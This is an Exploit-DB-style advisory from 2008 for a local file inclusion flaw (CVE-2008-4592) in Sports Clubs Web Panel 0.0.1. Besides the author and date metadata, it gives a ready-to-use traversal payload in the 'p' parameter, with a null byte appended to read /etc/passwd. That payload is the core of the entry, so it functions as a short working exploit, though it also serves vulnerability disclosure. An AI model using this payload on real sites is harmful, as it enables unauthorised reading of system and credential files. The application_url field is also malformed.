Sports Clubs Web Panel 0.0.1 - 'p' Local File Inclusion

Author: StAkeR
type: webapps
platform: php
port: 
date_added: 2008-09-10 
date_updated: 2016-12-23 
verified: 1 
codes: OSVDB-49151;CVE-2008-4592 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comsportspanel-0.0.1a.tar.gz

--==+============================================================================+==--
--==+   Sports Clubs Web Panel 0.0.1 Local File Inclusion Vulnerability          +==--
--==+============================================================================+==--

 [*] Discovered By: StAkeR ~ StAkeR@hotmail.it
 [+] Discovered On: 11 Sep 2008
 [+] Download: http://sourceforge.net/project/downloading.php?group_id=188949&use_mirror=ovh&filename=sportspanel-0.0.1a.tar.gz&50146370

 [*] Vulnerability:

 [*] LFI
 [+] index.php?p= [File %00]
 [+] http://site.com/index.php?p=../../../../../../../etc/passwd%00

# milw0rm.com [2008-09-11]